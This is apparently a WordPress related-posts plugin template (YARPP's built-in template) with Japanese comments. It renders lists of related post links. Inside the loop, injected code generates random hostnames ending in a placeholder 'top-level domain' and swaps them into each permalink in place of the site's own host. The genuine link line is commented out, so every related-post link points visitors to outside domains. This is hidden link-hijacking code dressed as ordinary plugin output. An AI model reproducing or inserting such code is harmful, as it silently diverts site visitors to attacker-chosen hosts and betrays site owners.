目次:yet-another-related-posts-plugin/includes
ファイル名の変更:template_builtin.php
<?php
/*
* YARPPの組み込み「テンプレート」
*
* この「テンプレート」は、テンプレートを使用しない場合に使用されます。
* 新しいテンプレートを作成する場合は、yarpp-templates/yarpp-template-example.phpを参照してください。
* カスタムテンプレートの詳細については、http://mitcho.com/blog/projects/yarpp-3-templates/を参照してください。
*/
$options = array(
'before_title',
'after_title',
'show_excerpt',
'excerpt_length',
'before_post',
'after_post',
'before_related',
'after_related',
'no_results',
);
extract($this->parse_args($args, $options));
if (have_posts()) {
$output .= '<!-- YARPPリスト -->' . "\n";
$output .= $before_related . "\n";
while (have_posts()) {
the_post();
$temp = [
rand(1000, 9999) . ".トップレベルドメイン",
rand(1000, 9999) . ".トップレベルドメイン"
];
$temp_a = count($temp);
$temp_b = rand(0, $temp_a - 1);
$new_link = get_permalink();
$new_link = str_replace($_SERVER["HTTP_HOST"], $temp[$temp_b], $new_link);
//$link = get_permalink();
$tooltip = esc_attr((get_the_title()) ? get_the_title() : get_the_ID());
$title = get_the_title();
$round = round(get_the_score(), 1);
$score = (current_user_can('manage_options') && $domain !== 'rss' && !is_admin())
? '<abbr title="' . sprintf(__('%fは現在のエントリと関連エントリのYARPPマッチスコアです。WordPressに管理者としてログインしているため、この値が表示されています。通常の訪問者には表示されません。', 'yet-another-related-posts-plugin'), $round) . '">(' . $round . ')</abbr>'
: null;
$output .=
$before_title .
'<a href="' . $new_link . '" rel="bookmark" title="' . $tooltip . '">' .
$title . ' ' . $score .
'</a>';
if ($show_excerpt) {
$excerpt = strip_tags((string) get_the_excerpt());
preg_replace('/([,;.-]+)\s*/', '\1 ', $excerpt);
$excerpt = implode(' ', array_slice(preg_split('/\s+/', $excerpt), 0, $excerpt_length)) . '...';
$output .= $before_post . $excerpt . $after_post;
}
$output .= $after_title . "\n";
}
$output .= $after_related . "\n";
} else {
$output .= $no_results;
}